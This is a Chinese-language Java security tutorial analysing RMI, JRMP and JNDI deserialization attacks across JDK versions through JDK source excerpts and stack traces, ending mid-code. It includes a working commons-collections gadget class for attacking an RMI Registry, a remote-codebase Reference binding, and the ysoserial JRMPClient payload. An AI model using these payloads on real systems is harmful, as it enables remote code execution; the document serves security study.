搞懂RMI、JRMP、JNDI-终结篇

0x01 前言

前段时间,发了一篇文章《基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI》,以概念和例子,粗略的讲解了什么是RMI,什么是JRMP、以及什么是JNDI,本来,我的初衷是为了照顾初学者,还有没多少Java基础的学习者,让他们能初步了解RMI\JRMP\JNDI,而不被很多讲得不清不楚的文章搞得迷迷糊糊,从而浪费大量的时间。

但是,最近我发现,虽说文章大部分人也看懂了,而有小部分准备深入研究Java安全的人,对于稍微深入一点的部分会有点迷惑,因此,我准备新开这篇文章,以简单的源码浅析,去把它搞清楚。

在阅读这篇文章之前,我希望你能简单的看看这篇文章《基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI》,先搞清楚什么是RMI、JRMP、JNDI,以及什么是RMI Registry等等概念。

在文章内容开始之前,先做一个高度的总结,貌似会比较友好,而后面的文章内容,将会以这个顺序去慢慢讲解:

  1. RMI攻击主要针对3种类型的目标进行:RMI Client(客户端)、RMI Server(服务端)、RMI Registry(注册中心)。
  2. RMI反序列化远程Reference对象而触发加载远程字节码实施攻击,LDAP通过实例化本地Reference对象(使用远程LDAP返回的attribute数据封装)或反序列化远程Reference对象而触发加载远程字节码实施攻击。
  3. 从jdk8u121开始,RMI加入了反序列化白名单机制,JRMP的payload登上舞台,这里的payload指的是ysoserial修改后的JRMPClient。
  4. 从jdk8u121开始,RMI反序列化远程Reference对象而触发加载的远程代码默认不被信任,RMI反序列化远程Reference对象而触发加载远程代码的攻击方式开始失效。
  5. 从jdk8u191开始,LDAP使用Reference加载远程代码默认不被信任,LDAP使用Reference加载远程代码攻击方式开始失效,需要通过javaSerializedData返回序列化gadget方式(反序列化或后反序列化触发)实现攻击。

0x02 RMI简述

最早的最早,从分布式概念出现以后,工程师们,制造了一种,基于Java语言的远程方法调用的东西,它叫RMI(Remote Method Invocation),我们使用Java代码,可以利用这种技术,去跨越JVM,调用另一个JVM的类方法。

而在使用RMI之前,我们需要把被调用的类,注册到一个叫做RMI Registry的地方,只有把类注册到这个地方,调用者就能通过RMI Registry找到类所在JVM的ip和port,才能跨越JVM完成远程方法的调用。

调用者,我们称之为客户端,被调用者,我们则称之为服务端。

RMI Registry,我们又叫它为RMI注册中心,它是一个独立的服务,但是,它又可以与服务端存在于同一个JVM内,而RMI Registry服务的创建非常的简单,仅需一行代码即可完成。

创建RMI Registry服务:

1
LocateRegistry.createRegistry(1099);

这就是,创建RMI Registry服务的代码,在创建RMI Registry服务之后,我们就能像前面所说一样,服务端通过与RMI Registry建立的TCP连接,注册一个可被远程调用的类进去,然后客户端,从RMI Registry服务获取到服务端注册类的信息,从而与服务端建立TCP连接,完成远程方法调用(RMI)。但这里有一个必须要注意的地方,当你使用独立JVM去部署RMI Registry的时候,必须把被调用类实现的接口,也要放在RMI Registry类加载器能加载的地方。类似下面所说的nterface HelloService

服务端注册服务类到RMI Registry:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public interface HelloService extends Remote {

String sayHello() throws RemoteException;
}

public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {

protected HelloServiceImpl() throws RemoteException {
}

@Override
public String sayHello() {
System.out.println("hello!");
return "hello!";
}
}

public class RMIServer {

public static void main(String[] args) {
try {
LocateRegistry.getRegistry("127.0.0.1", 1099).bind("hello", new HelloServiceImpl());
} catch (AlreadyBoundException | RemoteException e) {
e.printStackTrace();
}
}
}

客户端获取注册类信息,并调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public interface HelloService extends Remote {

String sayHello() throws RemoteException;
}

public class RMIClient {

public static void main(String[] args) {
try {
HelloService helloService = (HelloService) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
System.out.println(helloService.sayHello());;
} catch (RemoteException | NotBoundException e) {
e.printStackTrace();
}
}
}

这里说明一下,当执行

1
Registry registry = LocateRegistry.createRegistry(1099);

的时候,返回的registry对象类是sun.rmi.registry.RegistryImpl,其内部的ref,也就是sun.rmi.server.UnicastServerRef,持有sun.rmi.registry.RegistryImpl_Skel类型的对象变量ref。

而服务端以及客户端,执行

1
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

返回的是sun.rmi.registry.RegistryImpl_Stub。

当服务端对实现了HelloService接口并继承了UnicastRemoteObject类的HelloServiceImpl实例化时,在其父类UnicastRemoteObject中,会对当前对象进行导出,返回一个当前对象的stub,也就是HelloService_stub,在其执行

1
registry.bind("hello", helloService);

的时候,会把这个stub对象,发送到RMI Registry存根。

当客户端执行

1
HelloService helloService = (HelloService) registry.lookup("hello")

的时候,就会从RMI Registry获取到服务端存进去的stub。

接着客户端就可以通过stub对象,对服务端发起一个远程方法调用

1
helloService.sayHello()

,stub对象,存储了如何跟服务端联系的信息,以及封装了RMI的通讯实现细节,对开发者完全透明。

0x03 从JDK不同版本进行源码分析

一、jdk版本 < jdk8u121

RMI攻击主要针对的目标

接下来,开始从小于jdk8u121版本的jdk8u112版本进行分析。

前面也描述的很清楚了,RMI Registry的创建,从

1
LocateRegistry.createRegistry(1099);

开始,这个方法执行以后,就会创建一个监听1099端口的ServerSocket,当RMI服务端执行bind的时候,会发送stub的序列化数据过来,最后在RMI Registry的sun.rmi.registry.RegistryImpl_Skel#dispatch方法被处理。

整个执行栈是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1640924712 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

而在这个dispatch方法中,我们可以清晰的看到,对序列化数据进行了反序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch(var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();

try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}

var6.rebind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

可以看到,根据传输过来的数据头,一共分为了0、1、2、3、4五个case处理逻辑,那么,我们看看服务端在执行bind方法注册服务类到RMI Registry的时候,到底传过来的是case多少。

代码位于sun.rmi.registry.RegistryImpl_Stub#bind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);

try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}

super.ref.invoke(var3);
super.ref.done(var3);
} catch (RuntimeException var6) {
throw var6;
} catch (RemoteException var7) {
throw var7;
} catch (AlreadyBoundException var8) {
throw var8;
} catch (Exception var9) {
throw new UnexpectedException("undeclared checked exception", var9);
}
}

可以看到

1
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);

第三个参数,也就是0,并且在其后向RMI Registry写了两个序列化对象数据。

接着回到RMI Registry,我们可以看到,对于case=0的时候,毫无疑问,对RMI服务端bind时发过来的序列化数据进行了反序列化,也就是说,通过RMI服务端执行bind,我们就可以攻击RMI Registry注册中心,导致其反序列化RCE

接下来,我们进一步分析RMI客户端lookup的时候,具体做了什么操作。

通过debug,可以看到,RMI客户端执行lookup部分代码位于sun.rmi.registry.RegistryImpl_Stub#lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}

return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}

跟RMI服务端bind一样,此处也执行了

1
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

,不过第三个参数为2,也就是说RMI Registry会执行其case=2的操作。

接着,在lookup中

1
var3.writeObject(var1);

对参数var1对象进行了序列化发送至RMI Registry,然后对RMI Registry的返回数据进行了反序列化

1
var23 = (Remote)var6.readObject();

,也就是说,lookup方法,理论上,我们可以在客户端用它去主动攻击RMI Registry,也能通过RMI Registry去被动攻击客户端,只不过lookup发送的序列化数据似乎只能发送String类型,但是,我们完全可以在debug的情况下,控制发送其它类型的序列化数据,达到攻击RMI Registry的效果。

前面,我们已经搞明白了两个目标的攻击方法:

  1. RMI服务端使用bind方法可以实现主动攻击RMI Registry
  2. RMI客户端使用lookup方法理论上可以主动攻击RMI Registry
  3. RMI Registry在RMI客户端使用lookup方法的时候,可以实现被动攻击RMI客户端

但是,还有一个目标,也就是RMI服务端,我们可以怎么样去攻击呢?

既然,前面已经说过,客户端与服务端之间的交流都被封装在从RMI Registry获取到的stub中,那么,我们就对探究探究。

在对lookup后返回客户端的HelloService进行debug后发现,它是一个Java的动态代理对象,真正的逻辑由RemoteObjectInvocationHandler执行,下面是它的部分执行栈:

1
2
3
4
5
invoke:152, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
sayHello:-1, $Proxy0 (com.sun.proxy)
main:18, RMIClient (com.threedr3am.bug.rmi.client)

在UnicastRef的invoke方法中,我们可以发现,对于远程调用的传参,客户端会把参数进行序列化后传到服务端,代码位于

1
sun.rmi.server.UnicastRef#marshalValue

而对于远程调用,客户端会把服务端的返回结果进行反序列化,代码位于

1
sun.rmi.server.UnicastRef#unmarshalValue

也就是说,在这个远程调用的过程中,我们可以想办法,把参数的序列化数据替换成恶意序列化数据,我们就能攻击服务端,而服务端,也能替换其返回的序列化数据为恶意序列化数据,进而被动攻击客户端。

那么,到这里,我相信,大家应该都搞清楚了,每个目标的攻击原理了。这里友情提醒,刚刚你们也看到了,在你攻击对方的时候,如果这是一个陷阱,说不定,反过来你就被人getshell了。

但是,有个问题,既然是反序列化攻击,那么,我们必须得找到能使用的gadget吧?如果没有gadget,那就谈不上反序列化RCE了吧?

没错,反序列化RCE下gadget的确很重要,若是没有gadget的依赖,那么基本就是束手无决了,像前面所说的,三个目标的攻击,我们都可以利用gadget,构造恶意的序列化数据达到反序列化攻击RCE。

RMI反序列化远程Reference对象加载远程字节码

但是这里就要讲讲Reference对象,在特殊情况下,可以不需要gadget依赖的存在,亦或者说Reference也是一个gadget。

当我们通过这种方式,使用服务端bind注册一个Reference对象到RMI Registry的时候:

1
2
3
4
5
Registry registry = LocateRegistry.getRegistry(1099);
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
Reference reference = new Reference("Calc","Calc","http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Calc",referenceWrapper);

Reference构造方法参数:

1
2
3
4
5
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}

当我们在客户端,执行这样的代码,去lookup RMI Registry的时候

1
new InitialContext().lookup("rmi://127.0.0.1:1099/Calc");

其执行栈大致如下:

1
2
3
4
5
6
getObjectInstance:296, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:22, RMIClient (com.threedr3am.bug.rmi.client)

然后,我们看到NamingManager的getObjectInstance方法代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {

ObjectFactory factory;

// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

接着,执行到javax.naming.spi.NamingManager#getObjectFactoryFromReference方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

最后,会通过这一行代码

1
clas = helper.loadClass(factoryName, codebase);

完成对远程class的读取加载,其中factoryName为我们服务端bind服务时传的Reference的Calc值,而codebase则是http://localhost/,就这样,我们就可以让客户端在lookup的时候,无需其他gadget,直接让其加载远程恶意class,达到RCE。

原理上来说,这属于一种后序列化的触发gadget,因为对于RMI来说,Reference对象也是需要反序列化远程RMI注册中心返回的序列化数据而构造出来的,只是说在其反序列化构造期间,它并没有直接触发RCE,而是在其被反序列化后,一系列对Reference对象方法的执行而触发,我们可以称之为“后反序列化”吧!

二、jdk版本 = jdk8u121

反序列化白名单机制

在jdk8u121的时候,加入了反序列化白名单的机制,导致了几乎全部gadget都不能被反序列化了,究竟有哪些类被列入白名单呢?我们一探究竟

那,我们直接bind一个恶意gadget到RMI Registry看看吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

/**
* RMI服务端攻击RMI Registry
*
* 需要服务端和注册中心都存在此依赖 org.apache.commons:commons-collections4:4.0
*
* @author threedr3am
*/
public class AttackRMIRegistry {

public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("threedr3am", makePayload(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})), Remote.class);
registry.bind("hello", remote);
} catch (AlreadyBoundException | RemoteException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}

private static Object makePayload(String[] args) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(args[0]);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
}

执行后会发现,RMI Registry输出了

1
ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 6, depth: 2, bytes: 285, ex: n/a

,明显就是被过滤了,这个gadget。

跟踪ObjectInputStream的反序列化,过滤gadget大概位置在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
registryFilter:389, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1345636186 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1228, ObjectInputStream (java.io)
readProxyDesc:1771, ObjectInputStream (java.io)
readClassDesc:1710, ObjectInputStream (java.io)
readOrdinaryObject:1986, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1095644560 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

跟进RegistryImpl的registryFilter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
if (var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}

do {
var2 = var2.getComponentType();
} while(var2.isArray());
}

if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
}
}
}
}

可以看到,最后的白名单判断:

  1. String.clas
  2. Number.class
  3. Remote.class
  4. Proxy.class
  5. UnicastRef.class
  6. RMIClientSocketFactory.class
  7. RMIServerSocketFactory.class
  8. ActivationID.class
  9. UID.class

看到这个白名单,也就是说,几乎全部gadget基本都凉了。

这时候,我们看向ysoserial,它有一个payload是ysoserial.payloads.JRMPClient,我们看看它payload的内容

1
2
3
4
5
6
7
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);

payload只有几行代码,但是恰恰都就在白名单内。

那么,这个payload到底做了什么事情呢?这时候,我们可以跟到客户端和服务端执行的

1
LocateRegistry.getRegistry("127.0.0.1", 1099);

源码中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public static Registry getRegistry(String host, int port)
throws RemoteException
{
return getRegistry(host, port, null);
}

public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;

if (port <= 0)
port = Registry.REGISTRY_PORT;

if (host == null || host.length() == 0) {
// If host is blank (as returned by "file:" URL in 1.0.2 used in
// java.rmi.Naming), try to convert to real local host name so
// that the RegistryImpl's checkAccess will not fail.
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
// If that failed, at least try "" (localhost) anyway...
host = "";
}
}

/*
* Create a proxy for the registry with the given host, port, and
* client socket factory. If the supplied client socket factory is
* null, then the ref type is a UnicastRef, otherwise the ref type
* is a UnicastRef2. If the property
* java.rmi.server.ignoreStubClasses is true, then the proxy
* returned is an instance of a dynamic proxy class that implements
* the Registry interface; otherwise the proxy returned is an
* instance of the pregenerated stub class for RegistryImpl.
**/
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

可以很清楚的看到,这个方法执行最后返回的Registry,跟这个payload几行代码是一样的,而

1
LocateRegistry.getRegistry("127.0.0.1", 1099);

这行代码的意思,就是跟RMI Registry建立连接,那么这几行代码的意义就无疑了。

而既然这是一个gadget,那么反序列化的时候如何去触发呢?我们看看UnicastRef

1
2
3
public class UnicastRef implements RemoteRef

public interface RemoteRef extends java.io.Externalizable

可以看到,它间接的实现了Externalizable接口,熟悉的人就会知道,在其反序列化的时候会触发

1
readExternal

方法的执行,类似readObject

而在这个payload中,我们可以把host和port指定RMI Registry,然后跟踪其执行栈,可以发现RMI Registry执行栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1095644560 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

其源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch(var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var40);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

在debug中,我们可以发现第三个参数为1,也就是说,其中sun.rmi.transport.DGCImpl_Skel#dispatch的代码,会执行到case=1的部分,可以看到,其中做了writeObject,那么,也就是说这三行payload的反序列化,会与RMI Registry连接上,执行分布式的GC,并且RMI Registry会发送序列化数据给连接发起者,最终造成反序列化,而反序列化部分代码,我们这里简单的跟一下吧。

其执行栈大概如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readExternalData:2062, ObjectInputStream (java.io)
readOrdinaryObject:2011, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserialize:27, Deserializer (ysoserial)
deserialize:22, Deserializer (ysoserial)
run:60, PayloadRunner (ysoserial.payloads.util)
main:84, JRMPClient1 (ysoserial.payloads)

跟进DGCImpl_Stub的dirty方法,可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);

Lease var24;
